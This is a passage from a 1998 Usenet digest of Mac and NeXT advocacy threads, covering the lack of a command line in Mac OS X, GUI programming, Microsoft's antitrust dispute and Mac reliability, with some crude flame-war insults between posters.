products don't fit the bill here as free alternatives already exist and
would be ported long before a commercial product ever hit the shelves,
obviating the need for the product.
Trev
Date: Tue, 30 Jun 1998 10:04:48 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Message-ID: <christian.bau-3006981004480001@christian-mac.isltd.insignia.com>
References: <6n6a2e$21s$1@news.cmc.net> <christian.bau-2906981013370001@christian-mac.isltd.insignia.com> <slrn6pfm1k.soo.jason@jhste1.dyn.ml.org>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <slrn6pfm1k.soo.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> Christian Bau posted the following to comp.sys.mac.advocacy:
>
> >Why not just download the MPW Shell? Best CLI ever, and works on every
> >Macintosh, and it is free. Not that I would recommend it for every
> >Macintosh user, but if you want a command line interface, they don't come
> >any better.
>
> You're kidding, right? How is MPW better than bash or ksh, for example?
I dont know them, so MPW Shell must be better :-). And it runs on a Macintosh!
Sorry, I didnt notice this was posted to comp.sys.next.advocacy; it is
absolutely possible that they have CLI's that are as good or better.
Congratulations if that is the case. Probably also depends whether you are
more into writing scripts or more into editing and using the CLI.
Apart from that, I usually have to do some work with Unix, NT and
sometimes even DOS and I rather edit things on the Macintosh and use ftp
than use an editor on these machines
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 30 Jun 1998 18:15:10 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6nb9ve$6cq$1@news.cs.tu-berlin.de>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6nar2j$bi8$1@news.cmc.net> <6navul$i5b$2@lwnws01.ne.highway1.com>
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John Kheit <jkheit@mediaone.net> writes:
>devnull@occam.com (Leon von Stauber) wrote:
>> Maybe. It still makes a big difference whether or not this stuff
>> is built-in. But if someone does provide a free, full-featured
>> UNIX command line environment, that would help a lot.
>> We have no reason at this time to expect that, though.
>Even if GNU comes out with a one button install package it won't
>be enough. I forget who said it here on this thread before, but
>it was eloquently put. "Being able to, and having are two different
>things." If the unix tools are there by default as a base, and
>everyone can expect to use them, then apps like SafetyNet.app and
>Retrospect.app (sp?) can be done in short time.
Even more importantly, they will be based on standard formats,
unlike the Stuffit nightmare.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Tue, 30 Jun 1998 13:42:35 -0500
Organization: Ericsson North America Inc.
Message-ID: <3599319B.7DD4@exu.ericsson.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net>
<6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net>
<6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net>
<6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se>
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Michael Peck wrote:
> I agree. This is an artifact of applying old languages to streamlined
> GUI problems. The result is that mappings that should be one-to-one
> (like between the visualization of a dialog and its corresponding
> program code) turn into the spaghetti you describe.
I should mention that the original idea of "resources" was brilliant: it
allowed the developer to create without a single line of source code
real, living, breathing GUI objects that could be thrown into use with,
literally, single lines of code.
Unfortunately, it was a beginning on which follow-up never occurred
(like the rest of MacOS). Menus and most dialog widgets still required
significant amounts of logic handling. I remember that the conventional
way of dealing with a dialog, back in the day, was to write a
HandlePreferencesDialog function, with separate
HandlePreferencesDialogClick and HandlePreferencesDialogOK and
HandlePreferencesDialogCancel functions. Menus could be even worse.
The development of a GUI logic language would make all of the above
trivial. The real problem is in coming up with a way to ease the
codevelopment of program logic and GUI logic so as to preserve
flexibility; it would be all too easy to simply create GUI modules and
give the program logic no choice other than to say "go" and "stop" at
will. Something more involved is needed.
MJP
From: "bj" <hollabau@usanetusa1.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: 2 Jul 1998 12:28:41 GMT
Organization: NetUSA1 Inc.
Message-ID: <01bda5b4$4ba8ec60$95dc96ce@burton-hollabau>
References: <6mkoqh$8lp$1@nnrp1.dejanews.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <atlauren-2306982016050001@jungleland.acs.uci.edu> <35bbb632.268506081@news.nai.net> <35955021.48983447@hydra> <35b12752.118772205@news.nai.net> <3597929d.262643141@hydra> <6n9h9r$i79$3@bertrand.ccs.carleton.ca> <3599df70.1369774@hydra> <35a3bd13.82515891@news.nai.net> <359acc88.0@news.depaul.edu>
My 1998 tv works. NT does not.
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote in article
<359acc88.0@news.depaul.edu>...
> In comp.sys.next.advocacy J Perry Fecteau <perfecto@ct2.nai.net> wrote:
> > On Tue, 30 Jun 1998 07:49:37 -0500, brother@trinity.mensa.net (Identity
> > Withheld) wrote:
>
> > ><shrug> Why buy a 1998 TV? Or car? Or anything new?
>
> > 1998 tv still uses methods developed years ago. nt does not.
>
>
> ... which is the source of many of NT's problems.
>
>
>
> --
> "... and subpoenas for all." - Ken Starr
>
Date: Thu, 02 Jul 1998 08:28:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0207980828430001@wil46.dol.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com>
In article <359B23CC.8672B274@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> Gregory H. Anderson wrote:
>
> <<<< Bunch of Stuff Snipped >>>>
>
> * So if he now contends he is NOT an advocate for Microsoft,
> * then the only explanation for his remarks is that he stupidly
> * allowed himself to be *used* by Microsoft. I hope he at least
> * got some free software for it.
> I exchanged a brief communication with Professor Mankiw on this
> issue, and he told me that his brief to the DOJ was written using
> WordPerfect.
What difference does it make which word processor he used?
His statement was pure, unadulterated bull. The software (or computer or
printer or paper) he used to write it is meaningless.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Why not a 3rd party CLI? (Re: Apple: No CLI in Mac OS X)
Date: 30 Jun 1998 22:28:48 GMT
Organization: I don't think so
Message-ID: <slrn6pipt3.ac.jason@jhste1.dyn.ml.org>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com> <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6naj0v$899$1@supernews.com> <6nbkq3$muv$1@news.digifix.com> <slrn6pio9v.f80.sal@panix3.panix.com>
Salvatore Denaro posted the following to comp.sys.mac.advocacy:
>> Ideally, a canonical set of Unix utilities available from
>>Apple is what is needed. The FAQ hints that Apple knows this, and
>>that either they'll supply it, or it'll be a third-part opportunity.
>But what should the 3rd party be? Hmmmm.....
>Why not farm it out to the FreeBSD people, and have them build
>the packages and support them? I bet if Apple gave them $500,000 a year
>to build and maintain the MacOSX CLI tools they would gladly do it; just
>as soon as they all finished doing cartwheels. This would be both a tax
>write-off and a major show of "good-faith"; a win-win for everyone
>involved.
Better yet, the NetBSD people (since they actually support PowerPC -
well, they're working on it) unlike the FreeBSD people.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <rmcassid-3006980918270001@dante.eng.uci.edu>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35991b60.0@nnrp1.news.uk.psi.net>
Date: 30 Jun 98 17:07:44 GMT
rmcassid@uci.edu (Robert Cassidy) wrote:
>When a unix box gets installed, a $40,000+/yr person comes by and sets it
>up, and I trust that person to set it up securely.
>When a Windows box gets installed, a $30,000+/yr person comes by and sets
>it up, and I trust that person to set it up somewhat securely.
>When a Mac gets installed, a $9/hr student comes by and sets it up. What
>is security again?
>
>I'd bet any amount of money that 20% of Macs that are currently running
>have filesharing turned on for the entire machine and have read/write
>guest access turned on. In effect, they are wide open to the world. Now,
>the point here is not to say that Macs are insecure therefore OS X will be
>insecure. The point is that a large percentage of Macs that get installed
>do _not_ get installed under any kind of security model or by an
>individual overly concerned with security.
>
>So I think there should be a _separate_ install, with shitloads of
>warnings and wizards and whatnot to either put a machine up that is
>minimally secure, or scare the installer to a point sufficient that they
>pick up the "So you think you want to install a telnet server without
>knowing jack shit about security" book that accompanies the CD.
>
Contrary to popular belief - Unix is actually quite a secure system.
All that Apple need to do is - supply the MacOS-X in a secure configuration
by default - you only need one expert - the Apple employee who produces the
installation process.
The 9$/hour student won't know how to screw up the security of the system.
Your only worry is if you have some of those $30,000+/yr Windoze people around
who might figure out how to compromise things :-)
From: agave@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 01 Jul 1998 01:50:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6nc4l8$pae$1@nnrp1.dejanews.com>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com> <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6naj0v$899$1@supernews.com> <6nbkq3$muv$1@news.digifix.com>
sanguish@digifix.com (Scott Anguish) wrote:
> I've raised this issue with Apple, they seem to be aware of
> the problems, but I don't think they know what they are going to do
> about it as yet.
>
I prefer to delude myself into thinking this is yet another instance of
marketing truth (ie a lie) at work.
"MacOS X isn't a new version of Rhapsody, it's a new version of MacOS"
"Enhanced QuickDraw isn't a new display model, it's just enhanced"
"There is no CLI"
It seems that every issue that has the mainstream up in arms gets spun so
that they're happy. We, as the technically knowledgeable, just have to nod
our head and agree with them, secure in the fact that we know the truth. The
only thing that MacOS and MacOS X will share in common is a name and the
bluebox code. The only thing that the Enhanced QuickDraw will share with its
predecessor is the API. There will, in a default install, be a bourne shell
and all the standard utils that any UNIX OS comes with.
Of course, as I said, I'm probably deluding myself but I'll tell you
something: I seem to be a lot happier in my world than most of the people
gnashing their teeth over everything. Until MacOS X is closer to being a
released product I'm not going to worry about its feature set (remember the
"advanced Objective-C syntax" ?).
The facts are that it will be a much better operating system than MacOS. It
will also be a much better operationg system than anything you can buy from
Microsoft. If these are the only two things that Apple accomplishes _and is
recognized for_ I'll consider MacOS X a resounding success.
-Ian's delusions are his own and no one elses.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 1 Jul 1998 03:49:13 +0200
Organization: University of Bonn, Germany / www.joint.org
Message-ID: <1dbgyba.1eigjtm12s2phcN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com> <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6nbf6s$p94$1@nnrp1.dejanews.com> <6nbktv$mv0$1@news.digifix.com>
Scott Anguish <sanguish@digifix.com> wrote:
> If everyone has to include commonly required stuff like gzip,
> gnutar, a shell app etc.. that is a problem, and will waste more space
> than including them all by default..
...not to mention versioning problems...
Dirk
--
No RISC - No fun
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 2 Jul 1998 18:46:12 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6ngkhk$b9r$1@news.cs.tu-berlin.de>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B21AB.E6A26F64@nstar.net> <6ng3t9$t6d$1@news.cs.tu-berlin.de> <359B965F.9CB9BE4C@nstar.net>
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Michael Peck <mjpeck@nstar.net> writes:
>Marcel Weiher wrote:
>> >This is ridiculous. I'd go to any press conference for any company being
>> >subjected to governmental abuse and speak out for free-market economics.
>>
>> The enforcement of applicable laws is not "government abuse". It
>> is quite clear that Microsoft has abused their power to deny competitors
>> access to the market. The question at hand is wether the abuse that
>> they have committed is in violation of current laws.
>No, that's definitely not the issue, unless you think like a lawyer.
>From a moral standpoint, that is anything but the issue. I wonder what
Moral standpoint?!? Microsoft?!? Look, I was giving MS the *benefit*
of a legalistic point of view, because, as I stated above, the immorality
of their behaviour is so obvious as to not even be an issue.
It is immoral to force your competitors out of business. However,
it is not illegal in many cases.
>Martin Luther King, Jr. would have said if you had told him that his
>stay in Birmingham jail was about whether or not he had broken any
>applicable laws. I would actually like to hear your response to this.
You're comparing MS with MLK?!? Microsoft is an oppressed minority,
Gates a spokesperson for non-violence?! What are you smoking?
>> >That doesn't make me a shill for anything but free-market economics.
>>
>> What you seem to be advocating is not "free-market" economics.
>> Free market economics always include a regulatory instance
>> laying down the rules for participation in the market and
>> enforcement of those rules.
>No, that's really not so. But since you say so, I'd like to hear your
>definition of "regulatory", and what instances of such "regulation" you
>think *must* exist in a free market.
Any regulation that is necessary so that the free market actually
benefits society, instead of harming it. A free market is not
an end in itself.
You are looking to find simple answers to complex questions, and
seem to have found some simple (I would say simplistic) answers
that look satisfactory to you.
>I suspect that what you're really
>talking about are not "regulations"; you probably mean legal protections
>for the universal right to conduct business. Those would be the legal
>protections rescinded by the Sherman Act, for example.
I suspect you suspect wrong.
I'm not familiar with the Sherman Act, but I could tell you
a little about "Soziale Marktwirtschaft" if you like.
>> Absolute freedom cannot exist, it must always be limited by
>> the freedom of others.
>Again, you've simply got to define your terms. "Freedom" can mean nearly
>anything; my word of choice is "liberty", and it has a specific
>definition as I see it.
Webster-Man to the rescue!
Freedom:
1: the quality or state of being free
a: the absence of necessity, coercion, or constraint in choice or action
b: liberation from slavery or restraint or from the power of another: INDEPENDENCE
[c-h deletd]
Liberty:
1: the quality or state of being free:
a: the power to do as one pleases
b: freedom from physical restraint
c: freedom from arbitrary or despotic control
d: the positive enjoyment of various social, political, or economic rights and privileges
e: the power of choice
What's your definition?
I like the one about despotic control. For example, I would like to
be free from BG killing my brand new spanking amazing product idea
by simply announcing that Windows-3000 will have something much
better.
How many people have reported that they basically have *no choice*
but to run MS-Office because of file-format issues. You have to
be really, really ideiologically blinded to not see that there
is something there that is not OK.
[snip]
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 1 Jul 1998 04:54:30 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ncfe6$iti$1@lwnws01.ne.highway1.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> The fact that most programming languages are incredibly braindead
> with regard to interactive concepts is the problem. The logic in
> most GUI systems has an extremely limited vocabulary because it
> is capable of making assumptions about interaction that
> general-purpose logic cannot. This is why there is a need for a
> specialized programming language, a *disposable* programming
> language. Logic never changes, but the subsets we use to describe
> our tasks change constantly. Therefore a general-purpose language
> for general-purpose logic must be available and well-known, but
> the tools we use for building GUIs must necessarily have high
> turnover rates.
I don't understand what you're getting at here with your language
thing. For example, much of the "coding" is done for you, you
actually don't see it with .nibs in NeXT/OPENSTEP/Rhapsody. It's
frozen in the nibs. Even though I don't get what you're talking
about in particular, clearly you have more expertise on the subject
in general and in particular based on that project you mentioned
in another post, I do tend to agree with the notion that languages
use a very different kind of logic than people do. I'm not sure
if your point is that blunt, or something else altogether.
> Oh, I know that there are certain people out there who are
> terrified of having apps that don't look exactly the same. It's
> like the old X Windows horror; "Drag and drop doesn't work right!",
> they whine incessantly. Well, shit, what a travesty.
Well, it's nice when tools are orthogonal and things work like
objects. The benefits of interaction and expectation are sometimes
great. Then again, sometimes not. I guess it depends on the time.
> That's great if you're still fascinated by putting up "inspectors"
> and 3D borders and all that jazz. How fun! Learn to love it,
> accept no substitutes, even starve yourself of alternatives so
> that you can become more set in its ways, as John Kheit says.
No, what I said is you're a class A piece of shit. The rest you
got all wrong. The point was that sometimes to really become
proficient with a new tool, you must lose all your other conflicting
bad habits. For example, to really be able to run a marathon in
professional clip, one would have to quit smoking. But if you want
to be a world class smoker, you might have to quit running in
marathons. It depends on what you want to achieve.
As for the substance, well, I don't know if it's a fair statement
that all OPENSTEP does is give you access to 3D borders and
inspectors. It can do some relatively significant UI mods like
from the NeXT menu way, to the windows menu way, to the mac menu
way. I'm not sure how much of that is by design and how much by
brute force. I'm guessing you're right and it's the latter; I
don't think it was meant to me a more X like place where you any
UI goes. But the rest of the libraries are pretty decent and they
don't deal with UI much at all.
> a CGI backend and been done in more like 3 hours. This whole
> industry is the biggest racket in the history of Western culture,
> and I'm ashamed to be a part of it.
I don't know if I'd go that far. Sheesh, there's the legal profession
for starters. :) And don't get me started on the insurance industry
(at least in Jersey) which I'm certain is mob run. Anyway, this
reminds me of a story I heard from what will remain an anonymous
source at AT&T. The person was given a task as a consultant to
build a spell check/thesauras component to be integrated into some
custom AT&T do-hickey in 3months. He had the lowest bid for $50k
in 3months. He spent 2.5months doing nothing. Then he bought an
off the shelf package for $50bux and spent a little time making
some code to integrate it into the do-hickey system. It worked
fine. Is it a scam? I don't think so. To a certain extent
knowledge based jobs are knowing which spot to smack with which
hammer and how hard. It's an easy gig if you have the knowledge.
It takes time and skill to acquire that knowledge. And that's what
you're selling, your knowledge. To that extent, it's no worse a
gig than others, IMO. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Andrew Weiss <ajwdsp@cloud9.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Wed, 01 Jul 1998 00:10:10 -0400
Organization: Pear Computer Ltd.
Message-ID: <3599B6A2.F06FE554@cloud9.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at>
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Sounds like a Linux solution to me :-)
Andrew
> Penguin farming, I suppose, is the only future.
>
> Alexander Wilkie
>
> [0] seems more like a collective lowest common denominator to me, though
> [1] other than to please some Mac technophobics (see [0])
> --
> e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
> www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
> pgp : finger wilkie@www.cg.tuwien.ac.at
From: gcheng@uni.uiuc.edu (Guanyao Cheng)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Memory protection question.
Date: 2 Jul 1998 19:26:09 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6ngmsh$jd$1@vixen.cso.uiuc.edu>
References: <19980628133235139765@lc345.zianet.com> <3596b427.0@news.together.net> <19980628173536272714@lc301.zianet.com> <macghod-2806982141560001@sdn-ar-001casbarp310.dialsprint.net> <19980629121710811448@lc184.zianet.com> <macghod-2906982347150001@sdn
JDilbert@netcom.com (FlyingDog) writes:
>Her Macs, however, are an entirely different story. We've been through
>_three_ 7200/90's with bad logic boards, an 8500/250, two clones (a UMAX
>and a SuperMac - don't remember the specs) and now a G3/233. Not only
>have I had to swap machines, but I've had to reinitialize HDs and
>reinstall OSes countless times. I've spent more time on her G3 in the
>past three months than I have on her PCs in the past three years.
>Granted, a good portion is user error, but why don't I get the same thing
>from the same person in the same room on the PC? The wonderful message
>"Error Type 11" has made that my least favorite number.
Geez... the G3's only run Mac OS 8 and above, so a Type 11 error is not
possible on those machines...
Guanyao Cheng
--
Guanyao Cheng "And I personally assure you, everybody here, that
gcheng@uiuc.edu if Deep Blue will start playing competitive
http://www.uiuc.edu/ph chess, I personally guarantee you I'll
/www/gcheng tear it to pieces" -- Garry Kasparov
From: bhahn@spam-spam.go-away.com (Brendan Hahn)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 02 Jul 1998 12:48:59 -0800
Organization: Transoft Corp
Message-ID: <bhahn-ya02408000R0207981248590001@news.transoft.net>
References: <6ng2mk$erb$1@news.cmc.net>
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com.occam@leonvs wrote:
>A couple more points come up when you lose the command line:
Where did this "no CLI" news come from? I can't find anything about it
outside of this thread.
bhahn@transoft.mangle.net <-- unmangle to reply
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: Wed, 01 Jul 1998 00:52:19 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3599CE93.4E70D0C1@nstar.net>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <3599ABC7.30BCAA96@nstar.net> <6ncfe6$iti$1@lwnws01.ne.highway1.com>
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John Kheit wrote:
> I don't understand what you're getting at here with your language
> thing. For example, much of the "coding" is done for you, you
> actually don't see it with .nibs in NeXT/OPENSTEP/Rhapsody. It's
> frozen in the nibs.
Right, the same way resources are frozen in the appropriate fork of a
MacOS binary, as I mentioned in another post. A good idea.
> Even though I don't get what you're talking
> about in particular, clearly you have more expertise on the subject
> in general and in particular based on that project you mentioned
> in another post, I do tend to agree with the notion that languages
> use a very different kind of logic than people do. I'm not sure
> if your point is that blunt, or something else altogether.
My point is that simply defining .nib files isn't program logic. It's
just a convenient and portable way of defining graphical objects. Great,
now you have the objects! Now, what will you do with them?
> Well, it's nice when tools are orthogonal and things work like
> objects. The benefits of interaction and expectation are sometimes
> great. Then again, sometimes not. I guess it depends on the time.
Being forward-looking and defining consistent behaviors is good. Being
enslaved to habit is not. There's a fine line of distinction.
> No, what I said is you're a class A piece of shit.
And you'll note that I don't disagree. You have to be fair, though,
John: you're a piece of shit, too, even though we smell different. And
I'm a more object-oriented piece of shit, with little bumpy bits of
corn; you're just a slimy, runny shit.
> The rest you
> got all wrong. The point was that sometimes to really become
> proficient with a new tool, you must lose all your other conflicting
> bad habits.
That's your whole problem: you assume that I have habits that I don't
have, and you assume that what habits I have are wrong. Yeah, I
habitually wipe with my right hand; your left-handed wiping is just a
meaningless aberration, like your left-handed scrollbars. That kind of
habit has nothing to do with the conversation, although I'm sure it has
Freudian roots.
> For example, to really be able to run a marathon in
> professional clip, one would have to quit smoking. But if you want
> to be a world class smoker, you might have to quit running in
> marathons. It depends on what you want to achieve.
I smoke but I also run three miles 3 times weekly. I'm working toward
the local 10k runs. I've noticed that smoking affects my running, but
I've never noticed that running affects my smoking (except for the extra
buzz one gets from smoking right after running - makes me just about
fall over).
> As for the substance, well, I don't know if it's a fair statement
> that all OPENSTEP does is give you access to 3D borders and
> inspectors.
The only substance in OPENSTEP I've noticed is the substance abuse
practiced by its proponents, especially the likes of John Kheit.
> It can do some relatively significant UI mods like
> from the NeXT menu way, to the windows menu way, to the mac menu
> way.
Differences in menu behavior are *so* innovative and free-form.
[sarcasm] For Pete's sake, Qt and many other libraries can accomplish
the same frigging thing. It's just a bunch of #ifdefs. The actual
menu-handling code is almost identical; the code for actually making the
GUI objects is native, not part of the OPENSTEP libraries.
> I'm not sure how much of that is by design and how much by
> brute force. I'm guessing you're right and it's the latter; I
> don't think it was meant to me a more X like place where you any
> UI goes. But the rest of the libraries are pretty decent and they
> don't deal with UI much at all.
Sure, they deal with I/O, endianness, and other cross-platform issues.
That's all very good, and you're right, it's orthogonal to the GUI
issue.
> I don't know if I'd go that far. Sheesh, there's the legal profession
> for starters. :)
That's a good place to start, you're right. "First thing, let's kill all
the lawyers."
> And don't get me started on the insurance industry
> (at least in Jersey) which I'm certain is mob run.
Don't knock the mobs. I grew up in Rochester, New York; the mob is great
when you need someone whacked. And they make for great movie subjects. I
thought Donnie Brasco was a great flick.
> Anyway, this
> reminds me of a story I heard from what will remain an anonymous
> source at AT&T. The person was given a task as a consultant to
> build a spell check/thesauras component to be integrated into some
> custom AT&T do-hickey in 3months. He had the lowest bid for $50k
> in 3months. He spent 2.5months doing nothing. Then he bought an
> off the shelf package for $50bux and spent a little time making
> some code to integrate it into the do-hickey system. It worked
> fine. Is it a scam? I don't think so.
'Course not. It's just the market at work. If AT&T had done their
homework, they'd have saved a lot of money by doing what he did. Lots of
smaller businesses undoubtedly did so.
> To a certain extent
> knowledge based jobs are knowing which spot to smack with which
> hammer and how hard. It's an easy gig if you have the knowledge.
> It takes time and skill to acquire that knowledge. And that's what
> you're selling, your knowledge. To that extent, it's no worse a
> gig than others, IMO. YMMV.
I agree completely, much to my chagrin. But what I'm saying is that that
knowledge is getting the barest minimum done, just as in your example
above. The culture of excellence is being drowned out by people with a
more "important" (and completely stupid) goal, like "let's get Linux to
dominate the world". Such people don't care what they compromise or who
they pull down on their way toward achieving personal gratification.
MJP
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Tue, 30 Jun 1998 22:57:50 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1dbgjbx.1f89tj487ev4N@sextans129.wco.com>
References: <6n6a2e$21s$1@news.cmc.net> <christian.bau-2906981013370001@christian-mac.isltd.insignia.com>
Christian Bau <christian.bau@isltd.insignia.com> wrote:
> Why not just download the MPW Shell? Best CLI ever, and works on every
> Macintosh, and it is free. Not that I would recommend it for every
> Macintosh user, but if you want a command line interface, they don't come
> any better.
Ack! Phbbpht!
Why not just download and run ash (Adventure Shell)? If you really want
a command line interface, this one definitely will be familiar to folks:
> look
You are in a twisty maze of directories, all different
> move file1 to directory1
You can't do that!
> move file1 to directory2
Oof! OK, but that was a heavy one.
> kill process
The process strikes back!
--
Mike Paquette mpaque@wco.com
When encryption is outlawed, only outlaws will use encryption.
From: JDilbert@netcom.com (FlyingDog)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Memory protection question.
Date: Thu, 2 Jul 1998 16:23:37 -0400
Organization: ICGNetcom
Message-ID: <MPG.1005b656f7d97411989775@nntp.news.netcom.net>
